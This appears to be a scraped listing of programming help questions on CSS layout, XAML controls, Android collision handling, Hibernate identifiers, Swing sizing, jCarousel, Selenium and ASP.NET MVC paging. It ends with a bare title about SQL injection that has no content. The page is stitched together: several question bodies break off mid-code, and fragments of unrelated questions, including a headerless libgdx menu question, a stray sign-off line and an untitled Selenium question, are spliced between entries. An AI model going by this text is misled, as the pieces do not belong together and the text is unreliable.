  • Very Unusual Margin Appears Always in Internet Explorer [CSS]

    - by Jay
    Only in Internet Explorer does this occur: I'm getting an additional margin (of 19 pixels) below a fieldset and I can't seem to see why, whatever I try! Try it for yourself, take a look at http://theshrop.com/d/call_us_or_call_in.php. To aid I've added a grid and some background colours. The fieldset should have a 1.125em bottom margin and it does in Safari, Firefox etc. It has an extra 19 pixels in Internet Explorer? I've given the fieldset a width and height so it hasLayout, hope this helps. body{ color:#171717; font:1em/1.125em Georgia,serif; margin:0; padding:0; } /* */ fieldset{ background:fuchsia; border:0 solid green; border-width:0.0625em 0; height:19.125em; margin:0 0 1.125em; padding:3.3125em 1.125em 1.0625em; position:relative; width:31.5em; } /* */ form dl{ margin:0; } form dl dd{ /* */ height:2.25em; margin:0 0 1.125em; position:relative; /* */ } form dl dt{ margin:0 0 1.125em; } /* */ form dl dt+dd+dt+dd{ height:7.875em; } /* */ form dl+div{ line-height:2.25em; /* */ margin:0; padding:0; /* */ } h3{ color:#701; font:bold 1em/1.125em Helvetica,Arial,serif; margin:0 0 1.125em; text-transform:uppercase; } input[type=text]{ border:0.0625em solid #171717; font:1em/1.125em Georgia,serif; height:1.125em; margin:0; padding:0.5em 1.0625em; /* */ position:absolute; top:0; /* */ } /* */ legend{ background:aqua; margin:1.0625em 0 1.125em; padding:0; position:absolute; top:0; } /* */ p{ background:lime; margin:0 0 1.125em; } textarea{ border:0.0625em solid #171717; font:1em/1.125em Georgia,serif; height:6.75em; margin:0; padding:0.5em 1.0625em; /* */ position:absolute; top:0; /* */ } .Address{ margin:0 0 1.125em; } .Address dd{ margin:0; } .Address dt{ display:none; } .Address dt+dd+dt+dd{ display:inline; } .Address dt+dd+dt+dd+dt+dd+dt+dd{ display:block; text-transform:uppercase; } .Bad{ background:#dbb; color:#901; } .Calendar{ list-style:none; margin:0; padding:0; } .Calendar dd{ background:#701; font:bold 0.5625em/2em Helvetica,Arial,serif; margin:0; text-align:center; text-transform:uppercase; } .Calendar dl{ border:0 solid #111; border-width:0.0625em 0.125em 0.125em 0.0625em; float:left; margin:-0.0625em 1em 1em 1.0625em; width:3.375em; } .Calendar dt{ display:none; } .Calendar dt+dd+dt+dd{ background:#fff; color:#171717; font:1em/2.25em Georgia,serif; margin:0; } .Calendar h4{ float:right; font:1em/1.125em Georgia,serif; margin:0 0 1.125em; width:10.125em; } .Calendar li{ clear:both; } .Calendar p{ float:right; font:1em/1.125em Georgia,serif; width:10.125em; } .Good{ background:#bdb; color:#091; } .Left{ float:left; margin:0 0.5625em 0 1.125em; } .Message{ border-style:solid; border-width:0.0625em; margin:0 0 1.125em; padding:1em 1.0625em 0; } .Message p{ margin:0 0 1.0625em; padding:0.0625em 0 0; } .Narrow{ width:15.75em; } .Narrow input[type=text]{ width:13.5em; } .Right{ float:right; margin:0 1.125em 0 0.5625em; } .Wide{ /* */ background:gray; /* */ width:31.5em; } .Wide input[type=text]{ width:29.25em; } .Wide textarea{ width:29.25em; } .Wrapper{ background:url(../i/grid_w18_h18.png); margin:0 auto; overflow:hidden; padding:1.125em 0 0; position:relative; width:50.625em; } #Blackboard{ background:#171717; color:#fff; margin:1.125em 0 0; min-width:50.625em; } #Blackboard a{ background:#111; color:#fff; } #Blackboard h3{ color:#fff; } #Blackboard div>p{ font:1.5em/1.5em Georgia,serif; } #Footer{ background:#901; clear:both; color:#fff; min-width:50.625em; } #Footer h3{ color:#fff; } #Google_Copilot ol{ padding:0; } #Google_Copilot ol li{ list-style:none; margin:0 0 1.125em; padding:0; /* I.E.7 Fix */ } #Google_Map{ height:23.625em; margin:0 0 1.125em; width:31.5em; } #Google_Query dt{ /* display:none; */ } #Header{ background:#901; min-width:50.625em; } #Header h1{ background:url(../i/the_shropshire_arms_w288_h72.gif) no-repeat 0 2.8125em; font:1em/1.125em serif; height:7.875em; margin:0 0 0 0.5625em; width:18em; } #Header h1 a{ display:none; } #Header h2{ background-color:#933; display:inline; font:1em/2.25em Georgia,serif; left:0; margin:1.125em 0 0 0.5625em; padding:0 0.5625em; position:absolute; top:0; } #Header h2 a{ color:#fff; text-decoration:none; } #Header h2 a span{ text-decoration:underline; } #Header ul{ list-style:none; height:2.25em; margin:0; padding:0; } #Header ul li{ display:inline; /* I.E.7 Fix */ } #Header ul li a{ background:#fff; color:#000; float:left; line-height:2.25em; margin:0 0 0 0.5625em; padding:0 0.5625em; text-decoration:none; } #Header .Wrapper{ background:url(../i/shield_w126_h126.gif) no-repeat 42.1875em 1.6875em; } This post could get stupidly long so I'll provide a link to the Web page rather than post the HTML: http://theshrop.com/d/call_us_or_call_in.php I really appreciate answers and all who contribute, thanks in advance!

  • Native ComboBox not displaying choices correctly

    - by anothershrubery
    EDIT: It seems that ListPicker is the way to go but I have had further problems with that detailed Microsoft.Phone.Controls.Toolkit ListPicker throws XamlParseException I have the following ComboBox in code: <ComboBox x:Name="Result" Grid.Column="6" HorizontalAlignment="Center" VerticalAlignment="Center" Foreground="Black" Background="White"> <ComboBoxItem Content="Win" /> <ComboBoxItem Content="Place" /> <ComboBoxItem Content="Lose" /> </ComboBox> But it does not display as I would have expected. When you drop down the ComboBox the options don't appear, it's just like empty items. See below: However, when an item is selected, it displays correctly and the correct index/item is returned. See below: I'm sure there is something simple I have missed but can't put my finger on it. EDIT: Ok I am posting the full code for this. I have a user control, OddsRow, that looks like this: <UserControl xmlns:toolkit="clr-namespace:Microsoft.Phone.Controls;assembly=Microsoft.Phone.Controls.Toolkit" x:Class="MojoPinBetOddsCalculator.OddsRow" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:d="http://schemas.microsoft.com/expression/blend/2008" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="d" FontFamily="{StaticResource PhoneFontFamilyNormal}" FontSize="{StaticResource PhoneFontSizeNormal}" Foreground="{StaticResource PhoneForegroundBrush}" d:DesignHeight="480" d:DesignWidth="480"> <Grid x:Name="LayoutRoot" Background="{StaticResource PhoneChromeBrush}"> <Grid.RowDefinitions> <RowDefinition Height="70"/> </Grid.RowDefinitions> <Grid.ColumnDefinitions> <ColumnDefinition Width="50*"></ColumnDefinition> <ColumnDefinition Width="70*"></ColumnDefinition> <ColumnDefinition Width="30*"></ColumnDefinition> <ColumnDefinition Width="70*"></ColumnDefinition> <ColumnDefinition Width="70*"></ColumnDefinition> <ColumnDefinition Width="70*" ></ColumnDefinition> <ColumnDefinition Width="100*"></ColumnDefinition> </Grid.ColumnDefinitions> <TextBlock x:Name="RowNumber" Grid.Column="0" VerticalAlignment="Center" HorizontalAlignment="Center"></TextBlock> <TextBox x:Name="OddsNumerator" Grid.Column="1" Width="90" Height="70" HorizontalAlignment="Center" TextAlignment="Center" VerticalAlignment="Center" MaxLength="3" InputScope="TelephoneNumber"></TextBox> <TextBlock x:Name="Slash" Grid.Column="2" Text="/" HorizontalAlignment="Center" VerticalAlignment="Center"></TextBlock> <TextBox x:Name="OddsDenominator" Grid.Column="3" Width="90" Height="70" VerticalAlignment="Center" TextAlignment="Center" MaxLength="3" HorizontalAlignment="Center" InputScope="TelephoneNumber"></TextBox> <CheckBox x:Name="EachWay" Grid.Column="4" VerticalAlignment="Center" HorizontalAlignment="Center" Margin="10,0,0,0" /> <CheckBox x:Name="Place" Grid.Column="5" HorizontalAlignment="Center" VerticalAlignment="Center" BorderThickness="0" Width="71" Margin="10,0,0,0" Padding="0" /> <ComboBox x:Name="Result" Grid.Column="6" HorizontalAlignment="Center" VerticalAlignment="Center" Foreground="Black" Background="White"> <ComboBoxItem Content="Win" /> <ComboBoxItem Content="Place" /> <ComboBoxItem Content="Lose" /> </ComboBox> </Grid> </UserControl> And it is displayed in the MainPage like so: <phone:PhoneApplicationPage xmlns:my="clr-namespace:MojoPinBetOddsCalculator" x:Class="MojoPinBetOddsCalculator.MainPage" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:phone="clr-namespace:Microsoft.Phone.Controls;assembly=Microsoft.Phone" xmlns:shell="clr-namespace:Microsoft.Phone.Shell;assembly=Microsoft.Phone" xmlns:d="http://schemas.microsoft.com/expression/blend/2008" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="d" d:DesignWidth="480" d:DesignHeight="768" FontFamily="{StaticResource PhoneFontFamilyNormal}" FontSize="{StaticResource PhoneFontSizeNormal}" Foreground="{StaticResource PhoneForegroundBrush}" SupportedOrientations="Portrait" Orientation="Portrait" shell:SystemTray.IsVisible="True"> <!--LayoutRoot is the root grid where all page content is placed--> <Grid x:Name="LayoutRoot" Background="Transparent"> <Grid.RowDefinitions> <RowDefinition Height="Auto"/> <RowDefinition Height="*"/> </Grid.RowDefinitions> <!--TitlePanel contains the name of the application and page title--> <StackPanel x:Name="TitlePanel" Grid.Row="0" Margin="12,17,0,28"> <TextBlock x:Name="ApplicationTitle" Text="BET ODDS CALCULATOR" Style="{StaticResource PhoneTextNormalStyle}"/> <TextBlock x:Name="PageTitle" Text="calculate" Margin="9,-7,0,0" Style="{StaticResource PhoneTextTitle1Style}"/> </StackPanel> <!--ContentPanel -

When combined it doesn't display the items. OddsRow.xaml.cs public partial class OddsRow : UserControl { private int m_Row; public OddsRow() { InitializeComponent(); } public int Row { get { return m_Row; } set { m_Row = value; RowNumber.Text = m_Row + " - "; } } }

  • Collision problems with drag-n-drop puzzle game.

    - by Amplify91
    I am working on an Android game similar to the Rush Hour/Traffic Jam/Blocked puzzle games. The board is a square containing rectangular pieces. Long pieces may only move horizontally, and tall pieces may only move vertically. The object is to free the red piece and move it out of the board. This game is only my second ever programming project in any language, so any tips or best practices would be appreciated along with your answer. I have a class for the game pieces called Pieces that describes how they are sized and drawn to the screen, gives them drag-and-drop functionality, and detects and handles collisions. I then have an activity class called GameView which creates my layout and creates Pieces objects to add to a RelativeLayout called Board. I have considered making Board its own class, but haven't needed to yet. Here's what my work in progress looks like: My Question: Most of this works perfectly fine except for my collision handling. It seems to be detecting collisions well but instead of pushing the pieces outside of each other when there is a collision, it frantically snaps back and forth between (what seems to be) where the piece is being dragged to and where it should be. It looks something like this: Another oddity: when the dragged piece collides with a piece to its left, the collision handling seems to work perfectly. Only piece above, below, and to the right cause problems. Here's the collision code: @Override public boolean onTouchEvent(MotionEvent event){ float eventX = event.getX(); float eventY = event.getY(); switch (event.getAction()) { case MotionEvent.ACTION_DOWN: //check if touch is on piece if (eventX > x && eventX < (x+width) && eventY > y && eventY < (y+height)){ initialX=x; initialY=y; break; }else{ return false; } case MotionEvent.ACTION_MOVE: //determine if piece should move horizontally or vertically if(width>height){ for (Pieces piece : aPieces) { //if object equals itself in array, skip to next object if(piece==this){ continue; } //if next to another piece, //do not allow to move any further towards said piece if(eventX<x&&(x==piece.right+1)){ return false; }else if(eventX>x&&(x==piece.x-width-1)){ return false; } //move normally if no collision //if collision, do not allow to move through other piece if(collides(this,piece)==false){ x = (eventX-(width/2)); }else if(collidesLeft(this,piece)){ x = piece.right+1; break; }else if(collidesRight(this,piece)){ x = piece.x-width-1; break; } } break; }else if(height>width){ for (Pieces piece : aPieces) { if(piece==this){ continue; }else if(collides(this,piece)==false){ y = (eventY-(height/2)); }else if(collidesUp(this,piece)){ y = piece.bottom+1; break; }else if(collidesDown(this,piece)){ y = piece.y-height-1; break; } } } invalidate(); break; case MotionEvent.ACTION_UP: // end move if(this.moves()){ GameView.counter++; } initialX=x; initialY=y; break; } // parse puzzle invalidate(); return true; } This takes place during onDraw: width = sizedBitmap.getWidth(); height = sizedBitmap.getHeight(); right = x+width; bottom = y+height; My collision-test methods look like this with different math for each: private boolean collidesDown(Pieces piece1, Pieces piece2){ float x1 = piece1.x; float y1 = piece1.y; float r1 = piece1.right; float b1 = piece1.bottom; float x2 = piece2.x; float y2 = piece2.y; float r2 = piece2.right; float b2 = piece2.bottom; if((y1<y2)&&(y1<b2)&&(b1>=y2)&&(b1<b2)&&((x1>=x2&&x1<=r2)||(r1>=x2&&x1<=r2))){ return true; }else{ return false; } } private boolean collides(Pieces piece1, Pieces piece2){ if(collidesLeft(piece1,piece2)){ return true; }else if(collidesRight(piece1,piece2)){ return true; }else if(collidesUp(piece1,piece2)){ return true; }else if(collidesDown(piece1,piece2)){ return true; }else{ return false; } } As a second question, should my x,y,right,bottom,width,height variables be ints instead of floats like they are now? Also, any suggestions on how to implement things better would be greatly appreciated, even if not relevant to the question! Thanks in advance for the help and for sitting through such a long question! Update: I have gotten it working almost perfectly with the following code (this doesn't include the code for vertical pieces): @Override public boolean onTouchEvent(MotionEvent event){ float eventX = event.getX(); float eventY = event.getY(); switch (event.getAction()) { case MotionEvent.ACTION_DOWN: //check if touch is on piece if (eventX > x && eventX < (x+width) && eventY > y && eventY < (y+height)){ initialX=x; initialY=y; break; }else{ return false; } case MotionEvent.ACTION_MOVE: //determine if piece should move horizontally or vertically if(width>height){ for (Pieces piece : aPieces) { //if object equals itself in array, skip to next object if(piece==this){ continue; } //check if there the possibility for a horizontal collision if(this.isAllignedHorizontallyWith(piece)){ //check for and handle collisions while moving left if(this.isRightOf(piece)){ if(eventX>piece.right+(width/2)){ x = (int)(eventX-(width/2)); //move normally }else{ x = piece.right+1; } } //check for and handle collisions while moving right if(this.isLeftOf(piece)){ if(eventX<piece.x-(width/2)){ x = (int)(eventX-(width/2)); }else{ x = piece.x-width-1; } } break; }else{ x = (int)(eventX-(width/2)); } The only problem with this code is that it only detects collisions between the moving piece and one other (with preference to one on the left). If there is a piece to collide with on the left and another on the right, it will only detect collisions with the one on the left. I think this is because once it finds a possible collision, it handles it without finishing looping through the array holding all the pieces. How do I get it to check for multiple possible collisions at the same time?

The question is: Can someone walk me through how to make my current menu or any libgdx menu keyboard accessible? I'm a bit noobish with some stuff and I come from a Javascript background. Here's an example of what I'm trying to do: http://dl.dropboxusercontent.com/u/39448/webgl/qb/qb.html For a simple menu that you can just add a few buttons to and it run out of the box use this: http://www.sadafnoor.com/blog/how-to-create-simple-menu-in-libgdx/ Or you can use my code but I use a lot of custom styles. And here's an example of my code: import aurelienribon.tweenengine.Timeline; import aurelienribon.tweenengine.Tween; import aurelienribon.tweenengine.TweenManager; import com.badlogic.gdx.Game; import com.badlogic.gdx.Gdx;

  • Hibernate without primary keys generated by db?

    - by Michael Jones
    I'm building a data warehouse and want to use InfiniDB as the storage engine. However, it doesn't allow primary keys or foreign key constraints (or any constraints for that matter). Hibernate complains "The database returned no natively generated identity value" when I perform an insert. Each table is relational, and contains a unique integer column that was previously used as the primary key - I want to keep that, but just not have the constraint in the db that the column is the primary key. I'm assuming the problem is that Hibernate expects the db to return a generated key. Is it possible to override this behaviour so I can set the primary key field's value myself and keep Hibernate happy? -- edit -- Two of the mappings are as follows: <?xml version="1.0"?> <!DOCTYPE hibernate-mapping PUBLIC "-//Hibernate/Hibernate Mapping DTD 3.0//EN" "http://hibernate.sourceforge.net/hibernate-mapping-3.0.dtd"> <!-- Generated Jun 1, 2010 2:49:51 PM by Hibernate Tools 3.2.1.GA --> <hibernate-mapping> <class name="com.example.project.Visitor" table="visitor" catalog="orwell"> <id name="id" type="java.lang.Long"> <column name="id" /> <generator class="identity" /> </id> <property name="firstSeen" type="timestamp"> <column name="first_seen" length="19" /> </property> <property name="lastSeen" type="timestamp"> <column name="last_seen" length="19" /> </property> <property name="sessionId" type="string"> <column name="session_id" length="26" unique="true" /> </property> <property name="userId" type="java.lang.Long"> <column name="user_id" /> </property> <set name="visits" inverse="true"> <key> <column name="visitor_id" /> </key> <one-to-many class="com.example.project.Visit" /> </set> </class> </hibernate-mapping> and: <?xml version="1.0"?> <!DOCTYPE hibernate-mapping PUBLIC "-//Hibernate/Hibernate Mapping DTD 3.0//EN" "http://hibernate.sourceforge.net/hibernate-mapping-3.0.dtd"> <!-- Generated Jun 1, 2010 2:49:51 PM by Hibernate Tools 3.2.1.GA --> <hibernate-mapping> <class name="com.example.project.Visit" table="visit" catalog="orwell"> <id name="id" type="java.lang.Long"> <column name="id" /> <generator class="identity" /> </id> <many-to-one name="visitor" class="com.example.project.Visitor" fetch="join" cascade="all"> <column name="visitor_id" /> </many-to-one> <property name="visitId" type="string"> <column name="visit_id" length="20" unique="true" /> </property> <property name="startTime" type="timestamp"> <column name="start_time" length="19" /> </property> <property name="endTime" type="timestamp"> <column name="end_time" length="19" /> </property> <property name="userAgent" type="string"> <column name="user_agent" length="65535" /> </property> <set name="pageViews" inverse="true"> <key> <column name="visit_id" /> </key> <one-to-many class="com.example.project.PageView" /> </set> </class> </hibernate-mapping>

  • How to maximize a floating div width when one div is removed or hidden?

    - by Maju
    I have two div columns sidebar(left) and page-content(right). I toggle removing and adding 'sidebar' using jquery but unable to maximize '#page-content' to take up the empty space when sidebar is removed.I tried removing 'margin-left:250px;' but the #page-content is going to the bottom. In short i want Toggle before | sidebar | page-content | Toggle after | page-content                | but it happens like | sidebar | | page-content                | Please help. Here is the css and jquery used. Thanx css #sidebar { float:left; width:185px; color:#333; padding:25px 25px; } #page-content { margin-left:250px; padding:25px 35px 25px 25px; color:#333; } jQuery $(document).ready(function() { $('a#side-toggle').click(function() { $('#sidebar').toggle(400); return false; }); });

  • Why SetMinimumSize sets the minimal heights but not width?

    - by Roman
    Here is my code: import javax.swing.*; import java.awt.*; public class PanelModel { public static void main(String[] args) { JFrame frame = new JFrame("Colored Trails"); frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); JPanel mainPanel = new JPanel(); mainPanel.setLayout(new BoxLayout(mainPanel, BoxLayout.Y_AXIS)); JPanel firstPanel = new JPanel(); firstPanel.setLayout(new GridLayout(4, 4)); firstPanel.setMaximumSize(new Dimension(4*100, 4*100)); firstPanel.setMinimumSize(new Dimension(4*100, 4*100)); JButton btn; for (int i=1; i<=4; i++) { for (int j=1; j<=4; j++) { btn = new JButton(); btn.setPreferredSize(new Dimension(100, 100)); firstPanel.add(btn); } } mainPanel.add(firstPanel); frame.add(mainPanel); frame.setSize(520,600); //frame.setMinimumSize(new Dimension(520,600)); frame.setVisible(true); } } When I increase the size of the window (by mouse) I see that my panel does not increase its size. It is the expected behavior (because I set the maximal size of the panel). However, when I decrease the size of the window, I see that width of the panel is decreased too (while the height is constant). So, the setMinimumSize works only partially. Why is that?

  • Finding the width of a directed acyclic graph... with only the ability to find parents

    - by Platinum Azure
    Hi guys, I'm trying to find the width of a directed acyclic graph... as represented by an arbitrarily ordered list of nodes, without even an adjacency list. The graph/list is for a parallel GNU Make-like workflow manager that uses files as its criteria for execution order. Each node has a list of source files and target files. We have a hash table in place so that, given a file name, the node which produces it can be determined. In this way, we can figure out a node's parents by examining the nodes which generate each of its source files using this table. That is the ONLY ability I have at this point, without changing the code severely. The code has been in public use for a while, and the last thing we want to do is to change the structure significantly and have a bad release. And no, we don't have time to test rigorously (I am in an academic environment). Ideally we're hoping we can do this without doing anything more dangerous than adding fields to the node. I'll be posting a community-wiki answer outlining my current approach and its flaws. If anyone wants to edit that, or use it as a starting point, feel free. If there's anything I can do to clarify things, I can answer questions or post code if needed. Thanks! EDIT: For anyone who cares, this will be in C. Yes, I know my pseudocode is in some horribly botched Python look-alike. I'm sort of hoping the language doesn't really matter.

  • When I Add <DIV> Bottom Scroll Bar Appears, Even Though It Is Not Greater Than The Page Width

    - by Clay Dempsey
    I have searched for this with no answer. My page loads up perfectly when I load the header, navigation and then center image...all 3 different divs. However I have more I need to add and the div tags change the size of the page even though the css I'm using isn't larger than the page. I have no idea what is happening. Here's the code page where everything is fine: http://www.thehdmgroup.com/midwaymissionary/test.php When I add the below div tag with the below css I get a bottom scrollbar on the page and I don't know why. Can someone please explain it to me? #middleTextBox1 { position: absolute; top:507px; left:172px; width:180px; height:180px; background-color:#411b42; border: 1px solid #434343; padding:10px; color: #FFFFFF; font-size: 10px; font-family: Arial, Helvetica, sans-serif; } <div id="middleTextBox1"> <h3 align="center">Mission:</h3> Words </div> I really have no idea why this is happening, could someone please help me out?

However, i can not think of a way to do this (or to just leave a wildcard for the width setting. Any help would be great :o) David

  • UIPageControl bug: showing one bullet first and then showing everything

    - by user313551
    I have some strange behavior using a UIPageControl: First it appears showing only one bullet, then when I move the scroll view all the bullets appear correctly.

  • Adding a div layer on top of a jquery carousel. Tough one.

    - by wilwaldon
    Hey everyone, I have a tough one, well it's tough for me because I'm kinda new to the whole jQuery carousel thing, never built one before this project. Here's my problem. If you go to the TEST SITE you will see a scroller with a blue background about half way down the page. If you mouse onto the "data analytics" slide you should see a black box fade in. Here is my dilemma. I want that black box to be a menu that's connected to the data analytics slide. I've done a mock up for you so you can see what I'm talking about. Here is my scroller code. I'm using jCarousel. <div class="carousel"> <ul> <li> <div id="homeslide1"> testers sdfasdfasdfas asdftjhs iasndkad kasdnf <a href="#" id="#homeslide1-toggle">Close this</a> </div> <a href="#" id="homeslide1-show"><img src="<?php bloginfo('template_url'); ?>/images/home_data_analytics.jpg" width="200" height="94" /></a> </li> <li><img src="<?php bloginfo('template_url'); ?>/images/home_oem_partnerships.jpg" width="200" height="94" /></li> <li><img src="<?php bloginfo('template_url'); ?>/images/home_reporting.jpg" width="200" height="92" /></li> <li><img src="<?php bloginfo('template_url'); ?>/images/home_returning_lost_customers.jpg" width="200" height="92" /></li> <li><img src="<?php bloginfo('template_url'); ?>/images/home_sales.jpg" width="200" height="92" /></li> <li><img src="<?php bloginfo('template_url'); ?>/images/home_service_retention.jpg" width="200" height="92" /></li> </ul> Here is my scroller css /*HOMEPAGE SCROLLER*/ .carousel {!important padding:10px; width: 890px; margin: 0px 0px 0px 26px;} .carousel ul li element.style{height: 94px;} .carousel ul{width: 200px; padding: 5px;} .carouselitem{height: 94px;} .prev{background: url(images/home_left_scroll.png); height: 94px; width: 16px; text-indent: -999px; outline: none; cursor:pointer; float: left;} .next{background: url(images/home_right_scroll.png); height: 94px; width: 16px; text-indent: -999px; outline: none; cursor:pointer; float: right;} .carousel ul li{ padding: 0px 3px 0px 3px; margin: 0px; height:!important 94px; } .home_right_arrow{ width: 16px; float: right;} .home_left_arrow{ width: 16px; float: left;} .homeslide1{ width: 200px; height: 94px;} I've tried all sorts of z-index tricks but can't seem to figure it out on my own. If you solve this riddle I'll buy you a beer if we ever meet up. I'll also give you a high five through the internet. Is there a simple way to do this via jQuery? If so could you point me in the right direction? Thanks so much.

    - by Rabindra
    I am working on a web based Application that I am testing with Selenium. On one page the content is dynamically loaded in table. I want to get the Table data, i am geting a "org.openqa.selenium.NullPointerElementException" in this line. WebElement table = log.driver.findElement(By.xpath(tableXpath)); I tried the following complete code. public int selectfromtable(String tableXpath, String CompareValue, int columnnumber) throws Exception { WebElement table = log.driver.findElement(By.xpath(tableXpath)); List<WebElement> rows = table.findElements(By.tagName("tr")); int flag = 0; for (WebElement row : rows) { List<WebElement> cells = row.findElements(By.tagName("td")); if (!cells.isEmpty() && cells.get(columnnumber).getText().equals(CompareValue)) { flag = 1; Thread.sleep(1000); break; } else { Thread.sleep(2000); flag = 0; } } return flag; } I am calling the above method like String tableXpath = ".//*[@id='event_list']/form/div[1]/table/tbody/tr/td/div/table"; selectfromtable(tableXpath, eventType, 3); my html page is like <table width="100%"> <tbody style="overflow: auto; background-color: #FFFFFF"> <tr class="trOdd"> <td width="2%" align="center"> <td width="20%" align="center"> Account </td> <td width="20%" align="center"> Enter Collection </td> <td width="20%" align="center"> <td width="20%" align="center"> 10 </td> <td width="20%" align="center"> 1 </td> </tr> </tbody> <tbody style="overflow: auto; background-color: #FFFFFF"> <tr class="trEven"> <td width="2%" align="center"> <td width="20%" align="center"> Account </td> <td width="20%" align="center"> Resolved From Collection </td> <td width="20%" align="center"> <td width="20%" align="center"> 10 </td> <td width="20%" align="center"> 1 </td> </tr> </tbody> </table>

  • ASP.NET MVC Paging/Sorting/Filtering a list using ModelMetadata

    - by rajbk
    This post looks at how to control paging, sorting and filtering when displaying a list of data by specifying attributes in your Model using the ASP.NET MVC framework and the excellent MVCContrib library. It also shows how to hide/show columns and control the formatting of data using attributes.  This uses the Northwind database. A sample project is attached at the end of this post. Let’s start by looking at a class called ProductViewModel. The properties in the class are decorated with attributes. The OrderBy attribute tells the system that the Model can be sorted using that property. The SearchFilter attribute tells the system that filtering is allowed on that property. Filtering type is set by the  FilterType enum which currently supports Equals and Contains. The ScaffoldColumn property specifies if a column is hidden or not The DisplayFormat specifies how the data is formatted. public class ProductViewModel { [OrderBy(IsDefault = true)] [ScaffoldColumn(false)] public int? ProductID { get; set; }   [SearchFilter(FilterType.Contains)] [OrderBy] [DisplayName("Product Name")] public string ProductName { get; set; }   [OrderBy] [DisplayName("Unit Price")] [DisplayFormat(DataFormatString = "{0:c}")] public System.Nullable<decimal> UnitPrice { get; set; }   [DisplayName("Category Name")] public string CategoryName { get; set; }   [SearchFilter] [ScaffoldColumn(false)] public int? CategoryID { get; set; }   [SearchFilter] [ScaffoldColumn(false)] public int? SupplierID { get; set; }   [OrderBy] public bool Discontinued { get; set; } } Before we explore the code further, lets look at the UI.  The UI has a section for filtering the data. The column headers with links are sortable. Paging is also supported with the help of a pager row. The pager is rendered using the MVCContrib Pager component. The data is displayed using a customized version of the MVCContrib Grid component. The customization was done in order for the Grid to be aware of the attributes mentioned above. Now, let’s look at what happens when we perform actions on this page. The diagram below shows the process: The form on the page has its method set to “GET” therefore we see all the parameters in the query string. The query string is shown in blue above. This query gets routed to an action called Index with parameters of type ProductViewModel and PageSortOptions. The parameters in the query string get mapped to the input parameters using model binding. The ProductView object created has the information needed to filter data while the PageAndSorting object is used for paging and sorting the data. The last block in the figure above shows how the filtered and paged list is created. We receive a product list from our product repository (which is of type IQueryable) and first filter it by calliing the AsFiltered extension method passing in the productFilters object and then call the AsPagination extension method passing in the pageSort object. The AsFiltered extension method looks at the type of the filter instance passed in. It skips properties in the instance that do not have the SearchFilter attribute. For properties that have the SearchFilter attribute, it adds filter expression trees to filter against the IQueryable data. The AsPagination extension method looks at the type of the IQueryable and ensures that the column being sorted on has the OrderBy attribute. If it does not find one, it looks for the default sort field [OrderBy(IsDefault = true)]. It is required that at least one attribute in your model has the [OrderBy(IsDefault = true)]. This because a person could be performing paging without specifying an order by column. As you may recall the LINQ Skip method now requires that you call an OrderBy method before it. Therefore we need a default order by column to perform paging. The extension method adds a order expressoin tree to the IQueryable and calls the MVCContrib AsPagination extension method to page the data. Implementation Notes Auto Postback The search filter region auto performs a get request anytime the dropdown selection is changed. This is implemented using the following jQuery snippet $(document).ready(function () { $("#productSearch").change(function () { this.submit(); }); }); Strongly Typed View The code used in the Action method is shown below: public ActionResult Index(ProductViewModel productFilters, PageSortOptions pageSortOptions) { var productPagedList = productRepository.GetProductsProjected().AsFiltered(productFilters).AsPagination(pageSortOptions);   var productViewFilterContainer = new ProductViewFilterContainer(); productViewFilterContainer.Fill(productFilters.CategoryID, productFilters.SupplierID, productFilters.ProductName);   var gridSortOptions = new GridSortOptions { Column = pageSortOptions.Column, Direction = pageSortOptions.Direction };   var productListContainer = new ProductListContainerModel { ProductPagedList = productPagedList, ProductViewFilterContainer = productViewFilterContainer, GridSortOptions = gridSortOptions };   return View(productListContainer); } As you see above, the object that is returned to the view is of type ProductListContainerModel. This contains all the information need for the view to render the Search filter section (including dropdowns),  the Html.Pager (MVCContrib) and the Html.Grid (from MVCContrib). It also stores the state of the search filters so that they can recreate themselves when the page reloads (Viewstate, I miss you! :0)  The class diagram for the container class is shown below.   Custom MVCContrib Grid The MVCContrib grid default behavior was overridden so that it would auto generate the columns and format the columns based on the metadata and also make it aware of our custom attributes (see MetaDataGridModel in the sample code). The Grid ensures that the ShowForDisplay on the column is set to true This can also be set by the ScaffoldColumn attribute ref: http://bradwilson.typepad.com/blog/2009/10/aspnet-mvc-2-templates-part-2-modelmetadata.html) Column headers are set using the DisplayName attribute Column sorting is set using the OrderBy attribute. The data is formatted using the DisplayFormat attribute. Generic Extension methods for Sorting and Filtering The extension method AsFiltered takes in an IQueryable<T> and uses expression trees to query against the IQueryable data. The query is constructed using the Model metadata and the properties of the T filter (productFilters in our case). Properties in the Model that do not have the SearchFilter attribute are skipped when creating the filter expression tree.  It returns an IQueryable<T>. The extension method AsPagination takes in an IQuerable<T> and first ensures that the column being sorted on has the OrderBy attribute. If not, we look for the default OrderBy column ([OrderBy(IsDefault = true)]). We then build an expression tree to sort on this column. We finally hand off the call to the MVCContrib AsPagination which returns an IPagination<T>. This type as you can see in the class diagram above is passed to the view and used by the MVCContrib Grid and Pager components. Custom Provider To get the system to recognize our custom attributes, we create our MetadataProvider as mentioned in this article (http://bradwilson.typepad.com/blog/2010/01/why-you-dont-need-modelmetadataattributes.html) protected override ModelMetadata CreateMetadata(IEnumerable<Attribute> attributes, Type containerType, Func<object> modelAccessor, Type modelType, string propertyName) { ModelMetadata metadata = base.CreateMetadata(attributes, containerType, modelAccessor, modelType, propertyName);   SearchFilterAttribute searchFilterAttribute = attributes.OfType<SearchFilterAttribute>().FirstOrDefault(); if (searchFilterAttribute != null) { metadata.AdditionalValues.Add(Globals.SearchFilterAttributeKey, searchFilterAttribute); }   OrderByAttribute orderByAttribute = attributes.OfType<OrderByAttribute>().FirstOrDefault(); if (orderByAttribute != null) { metadata.AdditionalValues.Add(Globals.OrderByAttributeKey, orderByAttribute); }   return metadata; } We register our MetadataProvider in Global.asax.cs. protected void Application_Start() { AreaRegistration.RegisterAllAreas();   RegisterRoutes(RouteTable.Routes);   ModelMetadataProviders.Current = new MvcFlan.QueryModelMetaDataProvider(); } Bugs, Comments and Suggestions are welcome! You can download the sample code below. This code is purely experimental. Use at your own risk. Download Sample Code (VS 2010 RTM) MVCNorthwindSales.zip

  • SQL Server SQL Injection from start to end

